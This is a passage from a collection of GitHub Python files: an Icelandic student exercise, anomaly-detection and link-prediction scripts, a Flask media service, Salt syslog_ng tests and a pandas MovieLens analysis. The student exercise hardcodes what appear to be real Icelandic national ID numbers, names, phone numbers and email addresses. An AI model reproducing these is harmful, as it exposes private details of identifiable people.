\"+self.kyn+\" address: \" + self.address +\" sími: \"+ self.phone\r\nclass grunnskolanemi(nemi):\r\n def __init__(self,kt,firstname,lastname,kyn,address,phone,forradamadur,nafnSkola):\r\n nemi.__init__(self,kt,firstname,lastname,kyn,address,phone,forradamadur,nafnSkola)\r\n self.forradamadur = forradamadur\r\n self.nafnSkola = nafnSkola\r\n def upplysingar(self):\r\n return \"forráðamaður: \"+self.forradamadur+\" nafn skóla: \"+self.nafnSkola +super().upplysingar()\r\nclass framhaldsskolinemi(nemi):\r\n def __init__(self,kt,firstname,lastname,kyn,address,phone,email,braut):\r\n nemi.__init__(self,kt,firstname,lastname,kyn,address,phone,email,braut)\r\n self.braut = braut\r\n def upplysingar(self):\r\n return \"braut: \" + self.braut + super().upplysingar()\r\n\r\nclass haskolanemi(nemi):\r\n def __init__(self ,kt,firstname,lastname,kyn,address,phone,email,grada):\r\n nemi.__init__(self,kt,firstname,lastname,kyn,address,phone,email,grada)\r\n self.grada = grada\r\n\r\n def upplysingar(self):\r\n return \"gáða: \"+ self.grada + super().upplysingar()\r\n\r\n#---------------------------------------------------------------------------------------------------#\r\n\r\n\r\n\r\nsvar = \"Ja\"\r\nwhile svar == \"Ja\":\r\n print(\"Rúmmál\")\r\n print(\"Nemi\")\r\n print(\"Íþróttamaður\")\r\n val = int(input(\"hvaða lið viltu?\"))\r\n \r\n#---------------------------------------------Val1-------------------------------------------------# \r\n if val == 1:\r\n daemi1 = \"ja\"\r\n while daemi1 == \"ja\":\r\n print(\"1.rúmmál kassa\")\r\n print(\"2.rúmmál pýramída\")\r\n print(\"3.rúmmál kúlu\")\r\n print(\"4.hætta\")\r\n vall = int(input(\"hvað vilt þú velja?\"))\r\n if vall == 1:\r\n kassi = rummalkassi(2, 7, 5)\r\n print(kassi.upplysingar())\r\n print(kassi.kassi())\r\n\r\n\r\n if vall == 2:\r\n print()\r\n pyramidi = pyramidi_rummal(6,7,8)\r\n print(pyramidi.upplysingar())\r\n print(pyramidi.Pyramídi())\r\n\r\n if vall == 3:\r\n kula = kularummal(2)\r\n print(kula.upplysingar())\r\n print(\"rúmmál þessara kúlu er = \",round(kula.vol(),2))\r\n if vall == 4:\r\n print(\"---------------------------------------------------------------\")\r\n break\r\n\r\n#---------------------------------------------Val2-------------------------------------------------#\r\n if val == 2:\r\n fram=framhaldsskolinemi(\"2305003040\",\"Skúli\",\"Guðbrandsson\",\"KK\",\"Reykjavík\",\"8491184\",\"skuliboss80@gmail.com\",\"tölvubraut\")\r\n print(fram.upplysingar())\r\n grunn= grunnskolanemi(\"1209684405\",\"Emil\",\"Áki\",\"KK\",\"Reykjavik\",\"emil1209@gmail.com\",\"Jens\",\"Rimaskóli\")\r\n print(grunn.upplysingar())\r\n haskola = haskolanemi(\"0108012828\",\"Guðrún\",\"Margrét\",\"KVK\",\"Akureyri\",\"8579178\",\"gmargret@gmail.com\",\"BA\")\r\n print(haskola.upplysingar())\r\n\r\n#---------------------------------------------Val3-------------------------------------------------#\r\n if val == 3 :\r\n print(\"\")\r\n print(\"Shiii gat þennan ekki :/\")\r\n print(\"Reyndu einhvern annan lið :)\")\r\n print(\"\")\r\n\r\n#---------------------------------------------Val4-------------------------------------------------#\r\n if val == 4:\r\n print(\"Bææ\")\r\n break\r\n","repo_name":"SkuliKing/skil6","sub_path":"skil6.py","file_name":"skil6.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8418327459","text":"#%% library\nfrom loader import loader\nfrom paper_model import VAE,AE\nfrom easydict import EasyDict as edict\nimport torch\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import accuracy_score , f1_score, precision_score, recall_score, confusion_matrix\n\n#%% utils\ndef return_result(y_pred, y_true):\n result = {'accuracy': accuracy_score(y_true, y_pred),\n 'f1': f1_score(y_true, y_pred,average='weighted'),\n 'precision': precision_score(y_true, y_pred,average='weighted'),\n 'recall': recall_score(y_true, y_pred,average='weighted')}\n return result\n\n\n\n#%% config\nconfig = edict()\nconfig.gpu_device = 0\nconfig.batch_size = 128\nconfig.abnormal_class = 0\nconfig.loader = loader(config)\nconfig.parameter_path = \"D:/2020-2/비즈니스애널리틱스/논문리뷰/Variational Autoencoder based Anomaly Detection/Variational-Autoencoder-based-Anomaly-Detection/parameter\"\n\n#%% model load - VAE AND AE\nconfig.VAE = VAE(input_size=28*28).cuda(config.gpu_device)\nparameter = torch.load(os.path.join(config.parameter_path,'best_parameter_Abnormal_class_0_vae.pth'))\nconfig.VAE.load_state_dict(parameter)\n\nconfig.AE = AE(input_size=28*28).cuda(config.gpu_device)\nparameter = torch.load(os.path.join(config.parameter_path,'best_parameter_Abnormal_class_0_ae.pth'))\nconfig.AE.load_state_dict(parameter)\n\n#%% novelty detection - vae\nconfig.VAE.eval()\nReconstruction_prob = []\nlabel_list = []\nfor idx, (feature, label) in enumerate(config.loader.test_iter):\n feature = feature.cuda(config.gpu_device)\n probability = config.VAE.reconstruction_probability(feature).detach()\n Reconstruction_prob.append(probability)\n label_list.append(label)\nReconstruction_prob = torch.cat(Reconstruction_prob).cpu().numpy()\nthreshold = np.quantile(Reconstruction_prob,q=0.5)\nnovelty_detection = np.where(Reconstruction_prob <= threshold,1,0)\nlabel_list = np.where(torch.cat(label_list).numpy() ==0 , 1 , 0)\nprint('VAE novelty detection performance',return_result(novelty_detection,label_list))\nprint('VAE novelty detection confusion matrix',confusion_matrix(novelty_detection,label_list))\n\n#%% Reconstruction이 효과적으로 되지 않았던 이미지 데이터 시각화 - vae\nfeature_list_low = []\nfeature_list_high = []\nfor idx, (feature, label) in enumerate(config.loader.test_iter):\n feature = feature.cuda(config.gpu_device)\n probability = config.VAE.reconstruction_probability(feature).detach()\n feature_list_low.append(feature[probability <= threshold]) # Reconstruction probability가 중위수가 낮았던 feature 추출\n feature_list_high.append(feature[probability > threshold]) # Reconstruction probability가 중위수가 낮았던 feature 추출\n\nfeature_list_low , feature_list_high = torch.cat(feature_list_low) , torch.cat(feature_list_high)\nfeature_list_low = feature_list_low[np.random.choice(feature_list_low.__len__(),10)] # 복원이 잘 되지 않았던 이미지 중 10개 추출\nfeature_list_high = feature_list_high[np.random.choice(feature_list_high.__len__(),10)] # 복원이 잘 되지 않았던 이미지 중 10개 추출\n\nreconstrucion_visual_vae(feature_list_low,config,title= 'vae_reconstruction_with_low_probability')\nreconstrucion_visual_vae(feature_list_high,config,title= 'vae_reconstruction_with_high_probability')\n\n\n\n#%% novelty detection - ae\nconfig.AE.eval()\nReconstruction_error = []\nlabel_list = []\nfor idx, (feature, label) in enumerate(config.loader.test_iter):\n feature = feature.cuda(config.gpu_device)\n error = torch.mean(torch.square(config.AE(feature) - feature), axis=[2,3,1])\n Reconstruction_error.append(error)\n label_list.append(label)\nReconstruction_error = torch.cat(Reconstruction_error).detach().cpu().numpy()\nthreshold = np.quantile(Reconstruction_error,q=0.5)\nnovelty_detection = np.where(Reconstruction_error < threshold,0,1)\nlabel_list = np.where(torch.cat(label_list).numpy() ==0 , 1 , 0)\nprint('AE novelty detection performance',return_result(novelty_detection,label_list))\nprint('AE novelty detection performance',confusion_matrix(novelty_detection,label_list))\n\n\n#%% Reconstruction이 효과적으로 되지 않았던 이미지 데이터 시각화 - ae\nfeature_list_low = []\nfeature_list_high = []\nfor idx, (feature, label) in enumerate(config.loader.test_iter):\n feature = feature.cuda(config.gpu_device)\n error = torch.mean(torch.square(config.AE(feature) - feature), axis=[2, 3, 1])\n feature_list_low.append(feature[error > threshold]) # Reconstruction error가 중위수가 높았던 feature 추출\n feature_list_high.append(feature[error <= threshold]) # Reconstruction error가 중위수가 낮았던 feature 추출\n\nfeature_list_low , feature_list_high= torch.cat(feature_list_low) , torch.cat(feature_list_high)\nfeature_list_low = feature_list_low[np.random.choice(feature_list_low.__len__(),10)] # 복원이 잘 되지 않았던 이미지 중 10개 추출\nfeature_list_high = feature_list_high[np.random.choice(feature_list_high.__len__(),10)] # 복원이 잘 되지 않았던 이미지 중 10개 추출\nreconstrucion_visual_ae(feature_list_low,config,title= 'ae_reconstruction_with_high_error')\nreconstrucion_visual_ae(feature_list_high,config,title= 'ae_reconstruction_with_low_error')\n\n\ndef reconstrucion_visual_vae(feature,config,title):\n fig = plt.figure(figsize=(10, 8))\n plt.title(title)\n images = config.VAE(feature.squeeze(1).view(10,-1))[0].detach().cpu().numpy().reshape(10, 28, 28)\n first_row = np.concatenate(images[:5,:,:],axis=1)\n second_row = np.concatenate(images[5:,:,:],axis=1)\n plt.imshow(np.concatenate([first_row,second_row]))\n plt.savefig(f'./img/{title}.png')\n plt.show()\n\ndef reconstrucion_visual_ae(feature,config,title):\n fig = plt.figure(figsize=(10, 8))\n plt.title(title)\n images = config.AE(feature.squeeze(1).view(10,-1)).detach().cpu().numpy().reshape(10, 28, 28)\n first_row = np.concatenate(images[:5,:,:],axis=1)\n second_row = np.concatenate(images[5:,:,:],axis=1)\n plt.imshow(np.concatenate([first_row,second_row]))\n plt.savefig(f'./img/{title}.png')\n plt.show()\n","repo_name":"bogus215/Variational-Autoencoder-based-Anomaly-Detection","sub_path":"anomaly_detection_model.py","file_name":"anomaly_detection_model.py","file_ext":"py","file_size_in_byte":6116,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"70698651453","text":"import sys\nfrom collections import deque\n\ndef Input_Data():\n readl = sys.stdin.readline\n N = int(readl())\n height = [int(readl()) for _ in range(N)]\n return N, height\n\n\nsol = -1\n# 입력받는 부분\nN, height = Input_Data()\n\n# 여기서부터 작성\n#cnt = 0\n#for i in range(N):\n# for j in range(i+1, N):\n# if height[i] > height[j]:\n# cnt += 1\n# else:\n# break\n\ncnt = 0\nstack = deque()\nfor h in height:\n while stack and stack[-1] <= h:\n stack.pop()\n cnt += len(stack)\n stack.append(h)\nsol = cnt\n# 출력하는 부분\nprint(sol)","repo_name":"hopemini/codingWithPython","sub_path":"mooc/d9.py","file_name":"d9.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27568386280","text":"import hashlib, requests\nfrom app import db\nfrom datetime import datetime, timedelta\nfrom werkzeug.utils import secure_filename\nfrom app import app\nimport os\nimport time\nimport base64\nimport calendar\nimport requests\nfrom .models import Media, Comment, CreditTransaction, Role\n\n\n\n# form.data['media'],form.data['thumbnail'],form.data['title'],form.data['uploader'],form.data['cp_id']\n\n# sign url to nginx secure link\n\ndef assign_role_to_user(role_name, user):\n role = Role.query.filter_by(name=role_name).first()\n if not role:\n role = Role(name=role)\n role.name = role_name\n db.session.add(role)\n print(f'new {role.name}')\n print(f'assign {role}')\n print(f'name = {role_name}')\n user.roles.append(role)\n db.session.add(user)\n db.session.commit()\n\n\ndef modify_credit_balance(user, amount, description):\n user.credits += amount\n trans = CreditTransaction(amount=amount,\n description=description,\n user_id=user.id)\n db.session.add(trans)\n db.session.add(user)\n db.session.commit()\n\n\ndef check_ip(ip):\n response = requests.get(f'http://check.getipintel.net/check.php?ip={ip}&contact=admin@chatpic.exposed&flags=m')\n print(f'voting ip check result = {response.text}')\n if response.text == \"1\":\n print(f'voting ip check result = nope')\n return False\n else:\n print(f'voting ip check result = ok')\n return True\n\n\ndef sign_url(url, expire, secret):\n future = datetime.utcnow() + timedelta(seconds=expire)\n expiry = calendar.timegm(future.timetuple())\n secure_link = f\"{secret}{url}{expiry}\".encode('utf-8')\n print(str(secure_link))\n hash = hashlib.md5(secure_link).digest()\n base64_hash = base64.urlsafe_b64encode(hash)\n str_hash = base64_hash.decode('utf-8').rstrip('=')\n print(f\"https://media.chatpic.exposed{url}?st={str_hash}&e={expiry}\")\n return str_hash, expiry\n\n\ndef extended_mail_validation(mail):\n url = \"https://chatpic-mail-check.herokuapp.com/\"\n payload = {\"to_emails\": [mail], \"from_email\": \"mail-validation@chatpic.exposed\", 'hello_name': 'mx.chatpic.exposed'}\n response = requests.post(url, json=payload)\n print(response.text)\n try:\n if response.json()[0]['is_reachable'] == 'safe':\n return True\n if response.json()[0]['misc']['is_disposable'] or response.json()[0]['is_reachable'] == 'invalid':\n return False\n if response.json()[0]['is_reachable'] == 'unknown' and response.json()[0]['mx']['accepts_mail']:\n return True\n except Exception as e:\n return False\n\n\ndef delete_media(filename, thumbnail):\n file_storage_location = app.config['FILE_STORAGE_LOCATION']\n file = os.path.basename(filename)\n thumb = os.path.basename(thumbnail)\n try:\n os.remove(f\"{file_storage_location}{file}\")\n os.remove(f\"{file_storage_location}{thumb}\")\n return True\n except:\n return False\n\n\ndef save_new_image(media_in, thumbnail, title, uploader, cp_id):\n md5 = hashlib.md5(media_in.read()).hexdigest()\n media = Media.query.filter_by(md5=md5).first()\n if not media:\n new_media = Media(md5=md5, title=title, thumbnail=thumbnail.filename, filename=media_in.filename,\n upload_time=datetime.utcnow(), hidden=False, uploader=uploader, cp_id=cp_id)\n\n file_storage_location = app.config['FILE_STORAGE_LOCATION']\n if not os.path.exists(file_storage_location):\n os.makedirs(file_storage_location)\n\n try:\n media_in.seek(0)\n media_in.save(f'{file_storage_location}{media_in.filename}')\n thumbnail.seek(0)\n thumbnail.save(f'{file_storage_location}{thumbnail.filename}')\n except Exception:\n response_object = {\n \"status\": \"failed\",\n \"message\": \"Image could not be saved\",\n }\n return response_object, 500\n response_object = {\n \"status\": \"success\",\n \"message\": \"Image accpeted\",\n \"md5\": new_media.md5,\n }\n save_changes(new_media)\n\n return response_object, 201\n\n else:\n media.reuploads += 1\n media.upload_time = datetime.utcnow()\n media.cp_id = cp_id\n if not media.uploader:\n media.uploader = uploader\n\n if title != media.title and title != \"\":\n comment = Comment(media_id=media.md5, content=title, name=uploader)\n save_changes(comment)\n\n save_changes(media)\n\n response_object = {\n \"status\": \"success\",\n \"message\": \"Image already exists, increasing reupload count\",\n }\n return response_object, 200\n\n\ndef save_changes(data):\n db.session.add(data)\n db.session.commit()\n\n","repo_name":"chatpic-cloud/chatpic-docker","sub_path":"app/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27951192175","text":"import json \nimport math\nimport seaborn as sns\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport numpy as np \nimport os\n\n\n\n\ndirectory = \"labled_data\"\nannos_list = []\nx=0\nfor root, _, files in os.walk(directory):\n #if x >15:break\n x+=1\n for file in files:\n \n if file.endswith('.json'):\n file_path = os.path.join(root, file)\n with open(file_path, 'r') as json_file:\n data = json.load(json_file)\n if 'frames' in data:\n frames = data[\"frames\"]\n for anno in frames: \n if 'annos' in anno:\n annos_list.append(anno[\"annos\"])\n\nobj_per_frame = []\nfor obj in annos_list:\n num_obj = len(obj[\"names\"])\n obj_per_frame.append(num_obj)\n#print(len(obj_per_frame))\n\nwith open(\"ONCE_Obj_per_frame.json\", \"w\") as f:\n json.dump(obj_per_frame, f)","repo_name":"jonathanfossaert/jf_bt_dataset_survey","sub_path":"ONCE/once_obj_per_frame.py","file_name":"once_obj_per_frame.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12853946464","text":"\"\"\"\n Test cases for salt.modules.syslog_ng\n\"\"\"\n\n\nimport os\nfrom textwrap import dedent\n\nimport pytest\n\nimport salt.modules.syslog_ng as syslog_ng\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef _version():\n return \"3.6.0alpha0\"\n\n\n@pytest.fixture\ndef _modules():\n return (\n \"syslogformat,json-plugin,basicfuncs,afstomp,afsocket,cryptofuncs,\"\n \"afmongodb,dbparser,system-source,affile,pseudofile,afamqp,\"\n \"afsocket-notls,csvparser,linux-kmsg-format,afuser,confgen,afprog\"\n )\n\n\n@pytest.fixture\ndef version_output(_version, _modules):\n return \"\"\"syslog-ng {0}\nInstaller-Version: {0}\nRevision:\nCompile-Date: Apr 4 2014 20:26:18\nError opening plugin module; module='afsocket-tls', error='/home/tibi/install/syslog-ng/lib/syslog-ng/libafsocket-tls.so: undefined symbol: tls_context_setup_session'\nAvailable-Modules: {1}\nEnable-Debug: on\nEnable-GProf: off\nEnable-Memtrace: off\nEnable-IPv6: on\nEnable-Spoof-Source: off\nEnable-TCP-Wrapper: off\nEnable-Linux-Caps: off\"\"\".format(\n _version, _modules\n )\n\n\n@pytest.fixture\ndef stats_output():\n return \"\"\"SourceName;SourceId;SourceInstance;State;Type;Number\ncenter;;received;a;processed;0\ndestination;#anon-destination0;;a;processed;0\ndestination;#anon-destination1;;a;processed;0\nsource;s_gsoc2014;;a;processed;0\ncenter;;queued;a;processed;0\nglobal;payload_reallocs;;a;processed;0\nglobal;sdata_updates;;a;processed;0\nglobal;msg_clones;;a;processed;0\"\"\"\n\n\n@pytest.fixture\ndef orig_env():\n return {\"PATH\": \"/foo:/bar\"}\n\n\n@pytest.fixture\ndef bin_dir():\n return \"/baz\"\n\n\n@pytest.fixture\ndef mocked_env():\n return {\"PATH\": \"/foo:/bar:/baz\"}\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {syslog_ng: {}}\n\n\ndef test_statement_without_options():\n s = syslog_ng.Statement(\"source\", \"s_local\", options=[])\n b = s.build()\n assert b == (\n dedent(\n \"\"\"\\\n source s_local {\n };\n \"\"\"\n )\n )\n\n\ndef test_non_empty_statement():\n o1 = syslog_ng.Option(\"file\")\n o2 = syslog_ng.Option(\"tcp\")\n s = syslog_ng.Statement(\"source\", \"s_local\", options=[o1, o2])\n b = s.build()\n assert b == (\n dedent(\n \"\"\"\\\n source s_local {\n file(\n );\n tcp(\n );\n };\n \"\"\"\n )\n )\n\n\ndef test_option_with_parameters():\n o1 = syslog_ng.Option(\"file\")\n p1 = syslog_ng.SimpleParameter('\"/var/log/messages\"')\n p2 = syslog_ng.SimpleParameter()\n p3 = syslog_ng.TypedParameter()\n p3.type = \"tls\"\n p2.value = '\"/var/log/syslog\"'\n o1.add_parameter(p1)\n o1.add_parameter(p2)\n o1.add_parameter(p3)\n b = o1.build()\n assert b == (\n dedent(\n \"\"\"\\\n file(\n \"/var/log/messages\",\n \"/var/log/syslog\",\n tls(\n )\n );\n \"\"\"\n )\n )\n\n\ndef test_parameter_with_values():\n p = syslog_ng.TypedParameter()\n p.type = \"tls\"\n v1 = syslog_ng.TypedParameterValue()\n v1.type = \"key_file\"\n\n v2 = syslog_ng.TypedParameterValue()\n v2.type = \"cert_file\"\n\n p.add_value(v1)\n p.add_value(v2)\n\n b = p.build()\n assert b == (\n dedent(\n \"\"\"\\\n tls(\n key_file(\n ),\n cert_file(\n )\n )\"\"\"\n )\n )\n\n\ndef test_value_with_arguments():\n t = syslog_ng.TypedParameterValue()\n t.type = \"key_file\"\n\n a1 = syslog_ng.Argument('\"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"')\n a2 = syslog_ng.Argument('\"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"')\n\n t.add_argument(a1)\n t.add_argument(a2)\n\n b = t.build()\n assert b == (\n dedent(\n \"\"\"\\\n key_file(\n \"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"\n \"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"\n )\"\"\"\n )\n )\n\n\ndef test_end_to_end_statement_generation():\n s = syslog_ng.Statement(\"source\", \"s_tls\")\n\n o = syslog_ng.Option(\"tcp\")\n\n ip = syslog_ng.TypedParameter(\"ip\")\n ip.add_value(syslog_ng.SimpleParameterValue(\"'192.168.42.2'\"))\n o.add_parameter(ip)\n\n port = syslog_ng.TypedParameter(\"port\")\n port.add_value(syslog_ng.SimpleParameterValue(514))\n o.add_parameter(port)\n\n tls = syslog_ng.TypedParameter(\"tls\")\n key_file = syslog_ng.TypedParameterValue(\"key_file\")\n key_file.add_argument(\n syslog_ng.Argument('\"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"')\n )\n cert_file = syslog_ng.TypedParameterValue(\"cert_file\")\n cert_file.add_argument(\n syslog_ng.Argument('\"/opt/syslog-ng/etc/syslog-ng/cert.d/syslog-ng.cert\"')\n )\n peer_verify = syslog_ng.TypedParameterValue(\"peer_verify\")\n peer_verify.add_argument(syslog_ng.Argument(\"optional-untrusted\"))\n tls.add_value(key_file)\n tls.add_value(cert_file)\n tls.add_value(peer_verify)\n o.add_parameter(tls)\n\n s.add_child(o)\n b = s.build()\n assert b == (\n dedent(\n \"\"\"\\\n source s_tls {\n tcp(\n ip(\n '192.168.42.2'\n ),\n port(\n 514\n ),\n tls(\n key_file(\n \"/opt/syslog-ng/etc/syslog-ng/key.d/syslog-ng.key\"\n ),\n cert_file(\n \"/opt/syslog-ng/etc/syslog-ng/cert.d/syslog-ng.cert\"\n ),\n peer_verify(\n optional-untrusted\n )\n )\n );\n };\n \"\"\"\n )\n )\n\n\n@pytest.mark.skip_on_windows(reason=\"Module not available on Windows\")\ndef test_version(_version, version_output, orig_env, bin_dir, mocked_env):\n cmd_ret = {\"retcode\": 0, \"stdout\": version_output}\n expected_output = {\"retcode\": 0, \"stdout\": _version}\n cmd_args = [\"syslog-ng\", \"-V\"]\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.version()\n assert result == expected_output\n cmd_mock.assert_called_once_with(cmd_args, env=None, python_shell=False)\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.version(syslog_ng_sbin_dir=bin_dir)\n assert result == expected_output\n cmd_mock.assert_called_once_with(cmd_args, env=mocked_env, python_shell=False)\n\n\n@pytest.mark.skip_on_windows(reason=\"Module not available on Windows\")\ndef test_stats(stats_output, orig_env, bin_dir, mocked_env):\n cmd_ret = {\"retcode\": 0, \"stdout\": stats_output}\n cmd_args = [\"syslog-ng-ctl\", \"stats\"]\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.stats()\n assert result == cmd_ret\n cmd_mock.assert_called_once_with(cmd_args, env=None, python_shell=False)\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.stats(syslog_ng_sbin_dir=bin_dir)\n assert result == cmd_ret\n cmd_mock.assert_called_once_with(cmd_args, env=mocked_env, python_shell=False)\n\n\n@pytest.mark.skip_on_windows(reason=\"Module not available on Windows\")\ndef test_modules(_modules, version_output, orig_env, bin_dir, mocked_env):\n cmd_ret = {\"retcode\": 0, \"stdout\": version_output}\n expected_output = {\"retcode\": 0, \"stdout\": _modules}\n cmd_args = [\"syslog-ng\", \"-V\"]\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.modules()\n assert result == expected_output\n cmd_mock.assert_called_once_with(cmd_args, env=None, python_shell=False)\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.modules(syslog_ng_sbin_dir=bin_dir)\n assert result == expected_output\n cmd_mock.assert_called_once_with(cmd_args, env=mocked_env, python_shell=False)\n\n\n@pytest.mark.skip_on_windows(reason=\"Module not available on Windows\")\ndef test_config_test(orig_env, bin_dir, mocked_env):\n cmd_ret = {\"retcode\": 0, \"stderr\": \"\", \"stdout\": \"Foo\"}\n cmd_args = [\"syslog-ng\", \"--syntax-only\"]\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.config_test()\n assert result == cmd_ret\n cmd_mock.assert_called_once_with(cmd_args, env=None, python_shell=False)\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n result = syslog_ng.config_test(syslog_ng_sbin_dir=bin_dir)\n assert result == cmd_ret\n cmd_mock.assert_called_once_with(cmd_args, env=mocked_env, python_shell=False)\n\n\n@pytest.mark.skip_on_windows(reason=\"Module not available on Windows\")\ndef test_config_test_cfgfile(orig_env, bin_dir, mocked_env):\n cfgfile = \"/path/to/syslog-ng.conf\"\n cmd_ret = {\"retcode\": 1, \"stderr\": \"Syntax error...\", \"stdout\": \"\"}\n cmd_args = [\"syslog-ng\", \"--syntax-only\", f\"--cfgfile={cfgfile}\"]\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n assert syslog_ng.config_test(cfgfile=cfgfile) == cmd_ret\n cmd_mock.assert_called_once_with(cmd_args, env=None, python_shell=False)\n\n cmd_mock = MagicMock(return_value=cmd_ret)\n with patch.dict(syslog_ng.__salt__, {\"cmd.run_all\": cmd_mock}), patch.dict(\n os.environ, orig_env\n ):\n assert (\n syslog_ng.config_test(syslog_ng_sbin_dir=bin_dir, cfgfile=cfgfile)\n == cmd_ret\n )\n cmd_mock.assert_called_once_with(cmd_args, env=mocked_env, python_shell=False)\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/modules/test_syslog_ng.py","file_name":"test_syslog_ng.py","file_ext":"py","file_size_in_byte":10367,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"} +{"seq_id":"345941362","text":"import numpy as np\n\n\ndef SPM(train, test, A_R, A_T):\n n = train.shape[0]\n\n L = int(np.sum(np.triu(test)))\n\n AR_eigvals, AR_eigvecs = np.linalg.eig(A_R)\n\n delta_eigvals = []\n appro_eigvecs = []\n\n # print('first loop')\n for i in range(n):\n temp = AR_eigvecs[:, i].T * A_T * AR_eigvecs[:, i] / (AR_eigvecs[:, i].T * AR_eigvecs[:, i])\n delta_eigvals.append(temp)\n appro_eigvecs.append(np.real(AR_eigvals[i]) + np.real(temp[0, 0]))\n\n # print('second loop')\n appro_vals = [np.real(AR_eigvals[i]) + np.real(delta_eigvals[i][0, 0]) for i in range(n)]\n A_tilde = np.dot(AR_eigvecs, np.diag(appro_vals)).dot(AR_eigvecs.T)\n\n # print('third loop')\n zero_index = np.argwhere(np.triu(train) + np.tril(np.ones((n, n))) == 0)\n\n zero_score = dict()\n\n # print('fourth loop')\n for index in zero_index:\n zero_score[(index[0], index[1])] = A_tilde[index[0], index[1]]\n\n top_sorted_score = sorted(zero_score.items(), key=lambda x: x[1])[:-L-1:-1]\n\n # print('fifth loop')\n num = 0\n for i in range(L):\n temp_index = top_sorted_score[i][0]\n if test[temp_index[0], temp_index[1]] == 1:\n num += 1\n # print('=' * 20)\n return num / L\n # np.linalg.eigvals(train+test), np.array(appro_eigvecs)\n","repo_name":"pinglanchu/LCPA","sub_path":"SPM.py","file_name":"SPM.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1562819352","text":"import pandas as pd\n\n\ncol1 = ['user_id', 'movie_id', 'rating', 'unix_timestamp']\n\nrating = pd.read_csv('C:/Users/Mostafa_2/Desktop/udemy python/Pandas/ml-100k/u.data',\n sep=\"\\t\", names=col1)\nrating.head()\n\n\ncol2 = ['movie_id', 'title', 'release_date', 'video_release_date', 'imdb_url']\nmovies = pd.read_csv('C:/Users/Mostafa_2/Desktop/udemy python/Pandas/ml-100k/u.item',\n sep='|', names=col2, usecols=range(5), encoding=\"ISO-8859-1\")\n# encoding because the file is coded\nmovies.head()\nmovie_rating = pd.merge(movies, rating)\nmovie_rating.head()\n\n\nu_cols = ['user_id', 'age', 'gender', 'occupation', 'zip_code']\nusers = pd.read_csv('C:/Users/Mostafa_2/Desktop/udemy python/Pandas/ml-100k/u.user',\n sep=\"|\", names=u_cols)\nusers.head()\nlens = pd.merge(movie_rating, users)\nlens.head()\n\n# top 20 title is mentioned\nmost_rated = lens.groupby('title').size().sort_values(ascending=False)[:20]\nmost_rated\n# or by\nlens.title.value_counts()[:20]\n\n\nimport numpy as np\nmovies_stats = lens.groupby('title').agg({'rating': [np.size, np.mean]})\nmovies_stats.head()\nmovies_stats.sort_values([('rating', 'mean')], ascending=False).head()\n\n\n# to plot it in Histogram\n\nimport matplotlib.pyplot as plt\n\nusers.age.hist(bins=30)\n\nplt.title(\"Distrebution of users age\")\nplt.xlabel('Age')\nplt.ylabel('Count of users')\nplt.show()\n\n# to draw a bar graph for M vs F . 1st chose the most popular 50 moveis\nmost_50 = lens.groupby('movie_id').size().sort_values(ascending=False)[:50]\nmost_50\npivoted = lens.pivot_table(index=['movie_id', 'title'], columns=[\n 'gender'], values='rating', fill_value=0)\npivoted\n\n\npivoted['diff'] = pivoted.M-pivoted.F\npivoted.head()\npivoted.reset_index('movie_id', inplace=True)\ndisagreament = pivoted[pivoted.movie_id.isin(most_50.index)]['diff']\ndisagreament.head()\n\nplt.title('Male vs Femal average ratings\\n Where Difference is >0= favorited by men')\nplt.xlabel('Average rating 